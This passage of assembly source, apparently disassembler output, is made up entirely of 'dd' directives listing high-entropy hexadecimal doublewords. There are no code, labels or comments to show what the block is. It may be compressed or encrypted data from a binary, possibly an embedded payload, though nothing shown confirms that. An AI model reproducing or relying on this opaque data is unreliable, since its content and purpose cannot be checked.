		dd 4190459Fh, 2786A0B4h, 0C33D58FBh, 0A3E8B2Bh,	0C7AC7406h
		dd 27137DECh, 2F85704Ch, 18DBA44Dh, 13E44669h, 0E978CC76h
		dd 0C3C3EB13h, 8831037Ch, 7B0F2578h, 0F9BDF8D2h, 79F2419Ch
		dd 2B81A3BFh, 0EA0843BBh, 7B0EC090h, 0C1F0107Eh, 36B93E41h
		dd 7B57C7BCh, 0B42045ABh, 0C70CD4BBh, 0A8E2C560h, 3CD572DEh
		dd 37FF4952h, 4C35D4C7h, 60B706FFh, 0C18F1843h,	5F7C8B7Fh
		dd 31057EBAh, 78982D44h, 7AC4DD9h, 73D7F59Eh, 30F53972h
		dd 3392D796h, 8A1C687Ah, 6ED9C0DBh, 1CAF2A44h, 4AB23994h
		dd 0F5853646h, 62E74BC9h, 1099C3F8h, 0B1304A7Dh, 958418D2h
		dd 0F89C6770h, 878413D8h, 0CD538689h, 8F4FFE53h, 303D8582h
		dd 6BE02B1h, 905BF3E7h,	0E053C48Eh, 5DE091ECh, 0AE0B4DC4h
		dd 0CEB45438h, 0CF2F29AFh, 8A72543Ch, 0C5099556h, 20C12065h
		dd 0CB8201FDh, 1BA805A3h, 9D18CD6Bh, 1F5869DAh,	0F3164798h
		dd 5D499A95h, 0BAE4A2h,	0C5A6A57h, 0B9D8D69Eh, 0DB102D97h
		dd 91478673h, 0A40C1589h, 7DB73B4Eh, 7D657A8Ch,	0AA85FC6Ah
		dd 6A0DAA37h, 7630F86Bh, 0E7200388h, 0D9D7EC06h, 77F66277h
		dd 0EA3CF8C0h, 0D19F9B95h, 0C1BF4AFDh, 0FB18EEB6h, 8EF407C1h
		dd 8DAB3C78h, 0E176CC45h, 2E07C6FCh, 0DA7CAEE8h, 0F9D0F40Ah
		dd 0A0633235h, 71503222h, 0E381A459h, 6916CB13h, 5E180897h
		dd 1EE00E91h, 79674C3h,	0ADF40D6Bh, 0F32FB756h,	0D12A914Dh
		dd 0A9BEFCCFh, 0A829AD38h, 0BBC4B7E4h, 0D42D39C6h, 0CBE88C21h
		dd 0A80C0D3Fh, 0B8D31CF2h, 4FD663D0h, 0D1A50354h, 0E2DE481Ah
		dd 5D0C7440h, 83912B03h, 6D9D4CB4h, 0C6139E8Fh,	8978D13Ch
		dd 505C7FA7h, 0A773CEDCh, 3C847200h, 52194E8Dh,	860E1B63h
		dd 0F1D6F08Eh, 7DF8496Fh, 0C61495E4h, 0CB6DD2DBh, 0D7FE9187h
		dd 0D3A80064h, 1772503Ch, 639F3E5Bh, 71FF27C7h,	6B11EA89h
		dd 0ECCCB6E8h, 6B2EEA87h, 63F69FFAh, 789FEFFFh,	8858AAB9h
		dd 90E0387Dh, 2378890Ch, 9CA3981Bh, 0D6CECAE6h,	76EE5C6Ch
		dd 8FA366E4h, 232F4C3Eh, 6AA26F4Eh, 0B2977220h,	0F79E5714h
		dd 0FA5A958Bh, 889E2A0Dh, 48E26C9Ah, 116E74FCh,	0B8AD274Fh
		dd 973B3A4Ch, 0E7289AC0h, 0E7928B08h, 0D3B69B59h, 0DE287539h
		dd 0BC000D9Eh, 97189A24h, 7641C963h, 0A0622755h, 70417C91h
		dd 0D2DEC3Fh, 0AC7AD38Ch, 3E7B7AC4h, 0AF8C5AE1h, 1BE6FEE1h
		dd 221C273Fh, 9B35244Eh, 38219F88h, 9F0A047Ah, 51F0F79Eh
		dd 9814B634h, 3C01F44Ah, 94BEC738h, 2FAA6F7Eh, 3C02A973h
		dd 0F3DD7B4Ah, 0F04CE393h, 31D1C5B3h, 0FF72D303h, 345E112Fh
		dd 3912EA13h, 1DFF78D0h, 641917Ah, 9E778C68h, 8EC42780h
		dd 0A8EFBF50h, 53ECA3Bh, 1CFEDC95h, 4A371041h, 71A3EE72h
		dd 4B128068h, 32D34A7Dh, 0C48D4CC7h, 0CDCA3081h, 0EF8D1FF8h
		dd 0C7B69680h, 0D614A281h, 0C193D066h, 0B9C2529Ah, 0EAC89733h
		dd 71618FEh, 0DD6B241Eh, 1140A435h, 4FDD908Fh, 0DCE2053Fh
		dd 7C7D6019h, 0F8873215h, 159F5651h, 453CB328h,	3C6A10B8h
		dd 51A2E30Fh, 0B4551EA8h, 473E1029h, 43B006B8h,	7F52807Fh
		dd 0D6E57FD5h, 9D969888h, 7AD31C92h, 0A71874A4h, 0CD54ACB8h
		dd 52378702h, 0A04FC980h, 0F1CDFB44h, 68925D9Ah, 0F528D70h
		dd 0EE1B2D2Fh, 1DE2A3F8h, 7978E555h, 46760614h,	0D0A41499h
		dd 68D79FE0h, 235BD9D4h, 74074E03h, 0A033423Ch,	72838D5Bh
		dd 0D51C4A73h, 0C61D738h
		dd 3AF87AD8h, 13C808B2h, 6A9E45F8h, 0A2F049B5h,	4C5C216Ah
		dd 7A754215h, 31F9C50Bh, 450C967Ah, 693CFD63h, 1E17F54Dh
		dd 0F608EF82h, 0C0F3F004h, 0B0DF0584h, 0CE1C9C52h, 1C6D3F7Fh
		dd 0C011941Ch, 201DDA03h, 505AE239h, 9D52D81Bh,	3A4B0746h
		dd 0CA5B982Eh, 8BBA4FF8h, 0A95A0782h, 572CF6EFh, 117F178Ch
		dd 2F6E0597h, 7CF3D82Fh, 80D6C343h, 96E09285h, 0DB2E4EFh
		dd 46D20996h, 40047403h, 50CB5C3h, 5CDA90FCh, 7EA6D395h
		dd 12D53CD9h, 41C6B482h, 0C187F0A8h, 7BB0F258h,	157A377Ch
		dd 1CDAAF4Ah, 0C0021404h, 0BE980400h, 0C86DB791h, 0B5B7CF5Fh
		dd 7FD7434h, 3016BA5Ah,	0E1164F59h, 78710883h, 0ABB9CADh
		dd 57EF1174h, 0A1D4470h, 0BE18294Ah, 64A6AD68h,	0C6D5DAF3h
		dd 0FBA9D418h, 7BF3C430h, 1DB8A264h, 34724FCBh,	688F4F0Ah
		dd 6417AC95h, 0DC6FCC1h, 19F7D275h, 2B8C403Fh, 103AC0ECh
		dd 6AD6E893h, 20BC34A8h, 59483B74h, 0CC89DF6h, 0E3CE6FD8h
		dd 0DA289462h, 6ADEE86Ah, 0BC803363h, 5E2A273Eh, 5C167CB4h
		dd 37ABBE00h, 7627C593h, 253C5C5Ah, 35DE3A4Ch, 6FBA199Bh
		dd 2CC5926Eh, 0C060F1CEh, 62BCC485h, 706A34Ch, 5DF09DD4h
		dd 3D83B99Dh, 7E96C512h, 306668AFh, 5026349Bh, 750C55BBh
		dd 7EAC8F60h, 0EAD1F603h, 1873CCF0h, 74E21FFh, 74C0E7DFh
		dd 0BE887D51h, 0A2459FEh, 0FAB6E5A4h, 4784FAE4h, 0D126BA2Fh
		dd 0A18BD918h, 0B2F1FA4Dh, 761DD493h, 970B9C8Dh, 7804B1CCh
		dd 0A079E32Ch, 9C771833h, 572800D4h, 7D48DFC0h,	64D650BCh
		dd 7840DABFh, 6FC73EEEh, 0A8D2CA3Ah, 21D1CBCFh,	76E52A1Bh
		dd 0B58629A8h, 0EFBAE7E6h, 688BCE89h, 6DAF070Fh, 7C7E3238h
		dd 0FE807FF8h, 0F12DA50h, 0E88EB472h, 14022A8Eh, 289EA194h
		dd 111D6209h, 27CCC0BDh, 3A18785Dh, 7E4696EBh, 3556D9D6h
		dd 0E80AB68Ah, 4F4FA4BFh, 0CCADA1F6h, 1C02D32Bh, 6162A97Ah
		dd 5DB0EC6Ah, 519416BFh, 63594FE6h, 0F619E2B2h,	0DDAA799h
		dd 3B18D41h, 0F5B6DD68h, 0B8963741h, 24E550ADh,	45E8D9Ah
		dd 748A1D1Ah, 148040FEh, 1F7A4901h, 2B0ED5ABh, 1E252A91h
		dd 2128C2D3h, 4622749Dh, 6E376274h, 8D573D52h, 2C8D42AFh
		dd 3E0F6179h, 0BD2CCC29h, 85E8F1A0h, 2978CEBDh,	0EFE88528h
		dd 2348DA2Ch, 0D67E093Ch, 17036369h, 0F93E8700h, 79472791h
		dd 7AF83F25h, 0CF4EFA5h, 0AD015029h, 0ABA81D68h, 47D324BEh
		dd 0FFF95FA7h, 82B4C229h, 0A1A8893Bh, 0AF5F1FF9h, 78182F4Ah
		dd 15E5E05Ah, 7320B708h, 0B8F0F68h, 38D2C85Bh, 95552A70h
		dd 46F8099Bh, 902E0D7Fh, 36F2E13Eh, 227C1F7Ch, 30E0C1C0h
		dd 274D394Ah, 0F151591Bh, 5C3A1426h, 31155D6Ch,	1B6A398h
		dd 0CDE13E3Ah, 0AFFE9A5h, 4D50064Fh, 0EAFB9551h, 0ED43778Eh
		dd 5F0D7860h, 788D5D3h,	4AFDE49h, 3924E70Ch, 240CAEBCh
		dd 0FACA83EAh, 686B9CEFh, 6BAC8982h, 663C1F6Dh,	50FAA204h
		dd 0A3B45E38h, 4CECFEA6h, 0D5508052h, 666D4CE1h, 0C105C2EEh
		dd 0DBD86C3h, 5E2FA0CDh, 3BEFFA11h, 4764432Eh, 0C4AB57C2h
		dd 0C73D2738h, 0F6411782h, 1A0A2444h, 0BD9EEA84h, 153654F8h
		dd 73FCB5A8h, 0D728E70Fh, 68E0EA1Eh, 0B718F46Ch, 50EC2AE1h
		dd 86B67C0Dh, 0C4FBB799h, 0A108194Dh, 0CFD4097Fh, 1AE288F7h
		dd 45EA98DAh, 0C3A6169Bh, 0C87CA508h, 998849BDh, 40F725FBh
		dd 0ACCA616Bh, 30C84C05h, 1D18360Ah, 4D99B397h,	5AFEDDA3h
		dd 6B05CEF7h, 5C224063h, 1A50B166h, 0F0154628h,	623AFCF3h
		dd 0FF55DCB5h, 0FBC4C360h, 0D601EA08h, 2FC0AB54h, 15CC4B18h
		dd 0E63C0813h, 15826C06h, 7C80B9EBh, 4BC21BE4h,	3011A193h
		dd 823081AFh, 0BFF8041Fh, 0A4FE78F2h, 7CE279D4h, 0C6EE74ECh
		dd 422815A3h, 0F33E74E7h, 5F223172h, 363D264Ch,	5F3B31EDh
		dd 0E71339F0h, 0FF3C67A8h, 0F1DEA4B5h, 7CB1ACFEh, 64DEA4ECh
		dd 48D7C5FDh, 359019B4h, 36117941h, 0E5770400h,	6F94D691h
		dd 2B5A443Dh, 5B7CEFE2h, 0E1E483Ch, 77F2A9DBh, 57B3D2A0h
		dd 459DDE0Bh, 6FF44B34h, 5CBA719Ah, 5B851E86h, 4910CFDFh
		dd 0B882F798h, 0AED52D97h, 185DF687h, 27AA97DCh, 0FF6B86Fh
		dd 5A52B1ECh, 15491F67h, 7169FF0Ah, 95642E44h, 0B76B9F74h
		dd 0A6F93467h, 1812EB11h, 0C65D793Eh, 151F9781h, 32477E15h
		dd 0C2FC1ED0h, 592E7E30h, 5C54E54Bh, 0B45A2775h, 9CD2D6BFh
		dd 5E864A86h, 6D290CADh, 51DD94D4h, 0C003DAA7h,	0D4020F0Fh
		dd 841ED58Bh, 736B8462h, 86CD299Ch, 262ABF5Bh, 9BEE7F2Bh
		dd 0E223C1Ah, 5FDAC74Eh, 0F32C0B19h, 59BBB4F2h,	77183B6Eh
		dd 0BD345FE7h, 6D2B5819h, 309039A5h, 31546F7h, 59F11617h
		dd 0BDC8642Bh, 1EF03C9Ch, 8A58ED1Bh, 7C5D9831h,	83B96A2Ch
		dd 9B33CB44h, 95B70670h, 0F8376080h, 9717341Ch,	43ECCDAAh
		dd 0E8DE2BBAh, 5395D08Fh, 273A2FF0h, 5ED29A86h,	5643C135h
		dd 0DD669D99h, 0CC2BE365h, 0A128BB1Fh, 2425020h, 351A014Ah
		dd 321C5D90h, 274CD3BFh, 14DB69A4h, 0B7B75967h,	9B8610D4h
		dd 806C5D0Fh, 9B6AF44Ch, 886C5D0Fh, 4036E868h, 946C6E38h
		dd 259EFC3Eh, 4548AC14h, 0F2C6367Dh, 5F4BC089h,	0C8E75B6Eh
		dd 40D1C983h, 0BA690235h, 54EB49B8h, 0CDF2763Eh, 8AA60E0Fh
		dd 966A2306h, 3918B49Fh, 5F9EC274h, 0E65C8675h,	5EE63DB3h
		dd 4626C2A5h, 0D7EE74FDh, 2A37D2D3h, 1231AB3Eh,	3D57CEFAh
		dd 0D14B1FDEh, 0CB9EBE3Fh, 470A91C7h, 0FBE32142h, 2CE611F0h
		dd 9AE31986h, 0CC32D553h, 7E83E2A2h, 0A6D2F0E2h, 3710DC73h
		dd 0B8DC2F31h, 4B173656h, 72166AF0h, 5C113A36h,	2D1418D2h
		dd 90CACB14h, 2840DC4Fh, 4D616A57h, 0F69DFC21h,	0A931C35Ah
		dd 87293C52h, 0A9D5F76Dh, 13BFAAF1h, 79747530h,	752303A0h
		dd 7DB36798h, 0A7D31368h, 1FE0A388h, 9329D0DDh,	76AA53E0h
		dd 5109F20Ch, 0EAB05C68h, 0F1AE3D99h, 0B577FD5h, 8E33154Ch
		dd 0ACF7D39Eh, 27BFDA29h, 1D621DDFh, 5D00D02Ch,	5CD089BDh
		dd 8201CCD9h, 0EEF9702h, 0C7AA757Eh, 56184204h,	1E3F8646h
		dd 0A62013F6h, 9B124035h, 7CDFFF44h, 0D75D6DE7h, 349E1880h
		dd 0A000CB61h, 8B8FD7F9h, 82E512BBh, 683A499Eh,	58620068h
		dd 1B20CE13h, 0DB3E251Ch, 740F52D2h, 0C51A8444h, 0BF3037F6h
		dd 365DD04Ah, 0F4817CE9h, 66AF880Ah, 2EF4F113h,	727BEA56h
		dd 70B333C6h, 5E6B5C5Ah, 9C344435h, 0E8E0F13Ah,	0DB96F56Fh
		dd 6FF65C8h, 569EF5ADh,	59CDA57Ah, 65A885C4h, 522EDC2Dh
		dd 5023D00Ah, 92F05ADh,	0A5F8C7F7h, 0E6267EFh, 66D003DFh
		dd 0D763F078h, 0A198AF01h, 26AC3C3Ah, 0F2B7494Ch, 712AB53Bh
		dd 7998F1ECh, 0CF42EB3Ah, 4BC8BAA2h, 2FC0FD17h,	8CE5B58Bh
		dd 0B0C31610h, 0D325E994h, 3A7A54B5h, 0E66D3594h, 81B27B4Dh
		dd 6B88DFA4h, 0F2B80C23h, 4ABEE6Dh, 4F221E3Eh, 0F69231B8h
		dd 6035736h, 48FBDA98h,	99A6CD5Ch, 9839CD4Eh, 6437796Eh
		dd 87047AB0h, 1259651Eh, 73BC9C89h, 0F86AACDCh,	9B39B35Bh
		dd 0F574A32h, 6BE1EB93h, 2E2E1000h, 0C6A9133Ch,	0EFE30310h
		dd 4095F7Dh, 250E7ECEh,	58C80496h, 0EAF84400h, 75E4D05Bh
		dd 0AA859FBDh, 7ED8C957h, 76AC046Ch, 0F180DAE3h, 617BA24Bh
		dd 702BA2ADh, 86A20C79h, 0CBC7D17Ch, 0F8D6BBFh,	9EF56D00h
		dd 1F5AFF6Fh, 484DC4E1h, 0AAAD66B3h, 26392AB7h,	85311EEBh
		dd 6245D4FCh, 942AA3D7h
		dd 0A48F4979h, 167AD987h, 8A60D009h, 0AF46032h,	0DE8FC4F7h
		dd 72C143C2h, 0F92EEA6Ch, 0AE5EC75h, 0F0ECD6A9h, 0BB459AC1h
		dd 0B61CC6AEh, 2C3BF34Fh, 5B612945h, 0FFE34AFBh, 53A02959h
		dd 5BE0805Ah, 73C99A13h, 0A9A2BEF9h, 0A5CDDCBEh, 11E27022h
		dd 0F0FFFD73h, 0E7161DB4h, 54C2C3F3h, 81273A59h, 6518B5E7h
		dd 0C8E79A35h, 41ADEA4Bh, 69DF9FF6h, 76E0C1D3h,	0C43B20CBh
		dd 2259391Ah, 5FD9ECA3h, 5366C50Bh, 4464423Dh, 70B2F02Ch
		dd 29A664BAh, 8FB1AB8h,	98D43369h, 749639B8h, 0E864F72Dh
		dd 61E27C62h, 28DB0C21h, 0B5D34427h, 8B8B4B1Dh,	3797D951h
		dd 88E3EF4h, 457C49CDh,	17A54732h, 0B4C9D438h, 983BF5BBh
		dd 43C989F3h, 0B95E59A1h, 183335ABh, 5E1976BDh,	1574233Bh
		dd 43BA463h, 26B8C28Ah,	62BA1EACh, 0A41BBA2Bh, 56FA51B5h
		dd 0CA708CBDh, 1D050C1Ch, 76CFADD8h, 0C09E49B1h, 0EB44A31Bh
		dd 1C62AEF3h, 7F94684Fh, 0CBCAA488h, 44520AAFh,	0E3D6CC5Ch
		dd 0FC121C6Fh, 2BA044ECh, 849D84B1h, 493C645Fh,	9BA85D49h
		dd 7789663Bh, 0E4989DE6h, 3737E37Dh, 494CD3F7h,	0D02AD958h
		dd 97D7C878h, 9F8DF6C8h, 2B09ADF7h, 831507ACh, 2016A8FCh
		dd 0B487C70Ah, 0A6BA14DFh, 0E2E279AEh, 3129F21Fh, 0EBC2B0E0h
		dd 2EBC2F58h, 9F584DC0h, 0E89D143Ch, 0B1578080h, 0A540EC30h
		dd 0BBB6138Ch, 1D7D7348h, 8DAC9F8h, 0B3001D5Bh,	0D2629DD3h
		dd 519BB477h, 848CF0FAh, 0C861975Ah, 0AD6978Ch,	0C44C039Eh
		dd 51DE16B4h, 7894B4D1h, 0F9D53472h, 7B4D8392h,	0C1581BC0h
		dd 0A8686384h, 66D39B9Bh, 71C5AB58h, 8FE4CF02h,	2F1EE884h
		dd 1A1F7AF4h, 0AB171926h, 0C4F0C722h, 8281B1BAh, 0FF1605E8h
		dd 5D234B96h, 10CC9862h, 0F569AA20h, 0C517C94Fh, 5F941BFBh
		dd 7A245AFEh, 648DC9AFh, 1C1D2B7Eh, 0EDE607D4h,	2B47C13Ch
		dd 0B6E809EFh, 879A5C14h, 0A547D52Eh, 97194485h, 55B2AC19h
		dd 2ECF1521h, 4DD0315Bh, 147A2A8Fh, 0B4A8E909h,	0C4578937h
		dd 0A18C7BD3h, 935CDFB8h, 0C65E799Fh, 0A0ECAF55h, 614D4473h
		dd 8ADEF734h, 0C37E5DF0h, 0FC15A33Ah, 0F620CFAFh, 230ADBE3h
		dd 24ABD085h, 0BCF6B546h, 14E6D20Bh, 0A5C96999h, 0AC4964A1h
		dd 0E2046835h, 18399AF1h, 39870801h, 0AA8A471Ah, 53FE48A0h
		dd 14E3A967h, 31615A0Fh, 8FE3ADB5h, 327686Dh, 9870BE8Ch
		dd 0FBFE389Bh, 49BFC4E9h, 0F0617045h, 0EB5CAADBh, 0EE56C1Eh
		dd 52DD4892h, 62AFF35Bh, 7E30BC1h, 6962367Eh, 3308E44Bh
		dd 75E3F64Fh, 5BC3816Ch, 0C4211B70h, 0FD68D1E3h, 4E04F470h
		dd 0D2181D67h, 0FC58509Eh, 0CE905B6Fh, 5A8D05CAh, 15B641A1h
		dd 860FBB18h, 0E0ECA2E3h, 863E102Dh, 147B2D86h,	0D7F540C8h
		dd 11535F92h, 257A9A77h, 0FC04E5C8h, 0E50455F2h, 8A6D3C6Fh
		dd 6DB82CB5h, 0B780E446h, 0CE77909Eh, 4A26F2E7h, 2BF2F491h
		dd 10E68A5Ah, 955A1CB2h, 1F84AD8Dh, 27023ABCh, 0B316D9B7h
		dd 0B5562A22h, 7B084254h, 11228996h, 6D62381Fh,	0D858A2F1h
		dd 7B0942E7h, 0EFF518FEh, 0C298E00Bh, 0BAE2A2CFh, 97F22B50h
		dd 0D7F13F4Ch, 8BB04001h, 3DA1E664h, 0F4B05609h, 3A5A3283h
		dd 0CEC134h, 0B98F862Fh, 4EE1CFD4h, 76586058h, 0FAF39CDFh
		dd 1B305A71h, 35E42DF3h, 0E1E8C2FEh, 0F4CC9686h, 0C746CE20h
		dd 1480C530h, 811047CCh, 0A149F47Ah, 0EF0A98BBh, 364BA282h
		dd 16E4E78Eh, 4B2BB141h, 0EEBEE5C3h, 0A17667DFh, 95EFECEEh
		dd 28CBA971h, 882C7E3Ah, 0B0756D9Dh, 0A1941DC9h, 9CC0CA95h
		dd 68E6FF20h, 85D1A255h, 1E8DDA3Eh, 2AB3BD4Ch, 0E43841D6h
		dd 279B8D60h, 47247F1Ch, 2D836525h, 0C0C794B0h,	52182DB5h
		dd 0E757CFFAh, 9E68A12h, 0C6F6E0B8h, 0E0D809F1h, 835BCFCCh
		dd 0E104767Eh, 0FB8EE834h, 676C47A5h, 522E108Ah, 9404580Bh
		dd 8F829478h, 7EA22593h, 0EB4990B4h, 96B8A53Eh,	15BFF2Eh
		dd 8C042567h, 0C4F26050h, 0C981181h, 1A25BD08h,	0B02CAD08h
		dd 5C802FB3h, 528790FFh, 0F1627BAh, 5208735Bh, 3B42F28h
		dd 1878F073h, 8E1F912Dh, 0C1BBF413h, 0A213B4EEh, 0CF02487h
		dd 0C79FF41Dh, 735197B5h, 72B2597Eh, 1A1721C2h,	2F6AD16h
		dd 0B7E3129Dh, 5D20AFC9h, 9BB57F5Ah, 5C534366h,	17715A98h
		dd 3E0D58ACh, 56C9906h,	876343F8h, 7BB0C0E1h, 4C7A4886h
		dd 78ECC131h, 0D317F8DFh, 2C724790h, 0AC8517DCh, 75C61EA1h
		dd 1C331113h, 68E7AB26h, 3E7C089Ch, 64C207E2h, 0E9419F16h
		dd 16E6D0D3h, 16774E15h, 536D511Eh, 65868FDCh, 0A3800047h
		dd 16ED176Dh, 525FDFE1h, 504BD02Dh, 0A064DF14h,	3D880216h
		dd 4B943645h, 8BC21060h, 92C059AFh, 0EB985A39h,	30A598DAh
		dd 68089CB7h, 7063A777h, 95496939h, 404B9C13h, 175A09C4h
		dd 0A86E9406h, 928A139Bh, 16439F7Fh, 179AF220h,	46B7A3A2h
		dd 0EE0EB4CCh, 0EE0D5776h, 0D1DBEC5Ah, 6CCEB46Ah, 0CC6F0609h
		dd 61F8FD66h, 82D2D275h, 88C2FDA3h, 0D0087BABh,	3545852Ch
		dd 0B783366Ch, 6393EC13h, 5E5E336Ah, 0DFFB40B1h, 0C78E9F32h
		dd 0B0EC4E83h, 0CC0F2A9Ah, 6C17A541h, 5F18F460h, 2B0C1844h
		dd 0CE56E41Ch, 12E9D49Ch, 0B1B9479h, 3BC3BCA6h,	7B563EAAh
		dd 9C348B7h, 2BA440B9h,	0F4316B9Bh, 56194481h, 6255D9B4h
		dd 0E34E8AAh, 7646B5Bh,	0A6A33ABAh, 0F3E88F59h,	47A5ADC9h
		dd 0B0CD3DF0h, 1422ACAAh, 0A9D3F0AEh, 72238CC3h, 883004CCh
		dd 811AF2E1h, 46DD0D7Fh, 0A8B3CBC4h, 0FDE6F07Bh, 0BC790B4Ch
		dd 0E276C943h, 4D9D3BDAh, 51E7E0E3h, 0E9F3DC33h, 2AF6C9C9h
		dd 14001713h, 3FB3FF81h, 7254CBh, 629133CFh, 0E78422E8h
		dd 71C50971h, 0F9C2DA8Bh, 0F573554Bh, 50B1D159h, 1610C37Ch
		dd 21D60EFBh, 6DD53FD4h, 348A7AE1h, 98B146AFh, 87414CF0h
		dd 0CC0CFDA6h, 539E16Fh, 0B4B04356h, 22D6F6A2h,	850D196Ch
		dd 0BE60F2Bh, 0C1DCF4F7h, 4909064Dh, 380AD781h,	0FBC66C4Dh
		dd 0F84D084Fh, 3A1DF745h, 4B79246h, 0E3165730h,	5CDE317Ch
		dd 0DAA18491h, 14454478h, 0D34E2538h, 0E209C657h, 644C8B1h
		dd 7E2C3D3Fh, 0AD2D49C1h, 0EEF4CD97h, 1A585708h, 7474378Dh
		dd 4D4851E0h, 1ABCA723h, 0FF7A4778h, 21EF70D4h,	0F8939410h
		dd 68CC00BEh, 0B8F38F87h, 68CDB495h, 931EC647h,	73D269DEh
		dd 9F59F07Ah, 0F02D4287h, 40A04B26h, 0CCB9EA8Bh, 77FAFBCCh
		dd 0BDC09C9Bh, 3E65509Fh, 8CF493B1h, 0C2FA04ACh, 6DF74D66h
		dd 0ED1818C0h, 965CD97Fh, 0FB420299h, 62C8E3D0h, 1FCF7405h
		dd 0AD77FA53h, 1D7DDC3h, 24AF3793h, 72162139h, 9CA1EA92h
		dd 8039F23h, 0E1B91A91h, 0A4B515E4h, 0A0289C97h, 7DB477A0h
		dd 1FB6E9EBh, 1DC7AF2Fh, 6C65D675h, 6B183D15h, 0F3E8AD41h
		dd 0C7359E35h, 0A60C764Fh, 0C13E0FF2h, 860C579Bh, 73D8253Dh
		dd 65C20495h, 2BCB88F4h, 0BB4EFD0Fh, 17E18FB5h,	0BF5FC0C1h
		dd 5B5930ABh, 0E984BA8Eh, 3B9A4B2Fh, 0B980CD17h, 34A4906h
		dd 2044D64Bh, 9C32861h,	7A40922h, 976A1428h, 0C076C663h
		dd 0EF025B39h, 94B5E00Ah, 0F76BE886h, 0CEA68F3Dh, 0CB004A9Eh
		dd 0C36F9847h, 9E12A734h, 7D61E19Fh, 293D1FA3h,	0BD02F4D3h
		dd 42CABB58h, 0BB63C9E0h, 45649D78h, 776B810Eh,	2F5D4238h
		dd 7DAE4A8Dh, 3FB7BB68h, 3380258Ah, 93356907h, 0A4705BCEh
		dd 374D6E2Fh, 4A50CEA2h, 5C0064AAh, 0E7B6C6DAh,	0C1C96E00h
		dd 18EE5EBDh, 7339C8Bh
		dd 0A1E02E45h, 0B2953CF0h, 4B5E3F76h, 8A0C7DDCh, 6B3297DDh
		dd 47EA2A84h, 26239799h, 3F4F5A22h, 18B685E2h, 1C479870h
		dd 68482DE9h, 0AD714DA5h, 0B16F05FDh, 9F340064h, 310C11EBh
		dd 8F09BCF6h, 23EDB57Bh, 475028h, 0F2D8503Eh, 0A8BEE4C0h
		dd 70B478AEh, 16FA3534h, 6C12C6FEh, 0FBF2E86Bh,	77A1C9B6h
		dd 290908F2h, 57968AF0h, 0C629B867h, 0A05CCD23h, 0C46C1B60h
		dd 0EC808927h, 9920857Dh, 0D7B8C7E9h, 34614D86h, 0D2369756h
		dd 484F309Bh, 4E8DE609h, 8A4C7679h, 1CB6AB87h, 0AC5C4DE8h
		dd 0A25A43C6h, 725A361Eh, 0BF17EB35h, 73061052h, 33C9929Ah
		dd 0E91B910Dh, 3C16DB77h, 0A53F495Ah, 0C1E6D6DEh, 37580EAAh
		dd 9A5091E4h, 4605A450h, 0BE60E039h, 49D60BEh, 0F4DAB40Dh
		dd 2CE363C0h, 200B98D3h, 5149F768h, 5C1383B0h, 6F5833E7h
		dd 73E2F3DAh, 0AC4C01F8h, 0F3084AFBh, 1C1B37C5h, 82FA523Fh
		dd 0FFB504B7h, 80FA4A85h, 204F660Bh, 52DAC6E5h,	0F30055ACh
		dd 11480ECDh, 5A4A9460h, 52F3E17Ah, 0B7383375h,	0FF9D7CDBh
		dd 46E35912h, 1EA6D1EDh, 53FC53BBh, 50A78697h, 0CE3CD1C0h
		dd 803211B1h, 0CC2BCCCCh, 8037D0A2h, 27DBD6E8h,	98083148h
		dd 0F4F24C28h, 28E5CC78h, 4A871123h, 0D8FAB967h, 0D7902D89h
		dd 60C0D0F5h, 5B99083Dh, 0CAEF5B83h, 476AB6BDh,	672BD442h
		dd 82B7F889h, 6E63C6A1h, 0A72E3A6Dh, 1C194783h,	0AB473A3Dh
		dd 0E84A317Dh, 0F1A6D2BBh, 216F418Ah, 65476801h, 54505CBAh
		dd 1C94BCC1h, 702C80C8h, 0B10CD78Bh, 65E92A86h,	0BD69CD04h
		dd 0EBEDAB14h, 631048BEh, 0AB23C3FAh, 0D533A9C7h, 2480550Dh
		dd 6A1A86F3h, 0E34016FEh, 0CE586C0h, 70DCFED0h,	55FE8920h
		dd 18F2C5BEh, 6D941CF0h, 0FA0AD3B4h, 3B49C9C6h,	75CC19CFh
		dd 0BCA0AC28h, 68ED924Fh, 0A7BF1D78h, 0FA95BF45h, 5EB8598Fh
		dd 0DE6424D2h, 6D4BAA36h, 0D2FA65BAh, 450E4833h, 0E6B971BEh
		dd 5086A36Fh, 0B8E66065h, 5078DD2Bh, 4D43F95Ch,	0F258DCECh
		dd 5E44852Ch, 57ADC1D2h, 0AD980220h, 721860B8h,	441275E1h
		dd 0EA581005h, 0C8932D1Fh, 391DE418h, 561C7CCEh, 5158BB6Ch
		dd 2F1CE0F7h, 47889C71h, 805AE9FFh, 34EC591Bh, 2EF9AB51h
		dd 0F8F8EB58h, 0E4E9BE6Dh, 846FDEB8h, 0F8E0C9E6h, 5C0B0829h
		dd 83170608h, 0F9246DB5h, 7FE13734h, 32F1586h, 0E921C241h
		dd 6DF7EB61h, 0C63AD789h, 2FC91263h, 2EC4D70Bh,	0B806D70Dh
		dd 3C576C2h, 0CB722330h, 5EE10726h, 770D4D79h, 5B3EA703h
		dd 969FC52Ah, 0E0E5195Ch, 762745Ch, 24B9E383h, 2FC6093Ch
		dd 2150E98Bh, 5BB71738h, 13F2CA19h, 720DD43Ah, 0D65AA825h
		dd 0A50D9366h, 0A7BDB036h, 82758664h, 7BBA8782h, 0C04B1F0Ch
		dd 5B9516F5h, 301B134Ch, 701F39BEh, 98F0DE28h, 15B3BE7Ch
		dd 726C797Ch, 199291E4h, 6262754Eh, 885A4E4h, 75617048h
		dd 8FCEB3E6h, 0FD823C6h, 3EA9968Ch, 48495374h, 28A5EFCDh
		dd 727C037Dh, 8F1FA5EDh, 6B62EE23h, 23E0F3B0h, 505A5A77h
		dd 2CA593C2h, 756D7575h, 0AF0D2CECh, 61616FC6h,	19B79DF7h
		dd 7479731Eh, 29582DFh,	517A7274h, 0C63F37D3h, 68676FCEh
		dd 4E3CFEDh, 572E7019h,	1C85AFE2h, 0DFF16364h, 4942C5Ch
		dd 447D7B1Fh, 3F8DA8D7h, 6947435Fh, 0AF81B5F0h,	65656A3Fh
		dd 7F88B5A1h, 1842507Ch, 0C53B98FBh, 71614BCEh,	15939BF2h
		dd 74557D4Fh, 2F84AFEEh, 715A5218h, 1087159Ah, 0FD56597h
		dd 1690AECDh, 8424041h,	5801C484h, 0C0687AD4h, 8F52E4C6h
		dd 6FCCAAE3h, 15EDAD44h, 627A695Bh, 1B8FAECBh, 0DAB95B4Bh
		dd 2A2E05Fh, 4F2E1B25h,	7EE6B1CDh, 4878C6FAh, 4B2ABE1h
		dd 0B85C5716h, 0E9F51C35h, 545D5117h, 0F7E2B78Ch, 0BA83507Bh
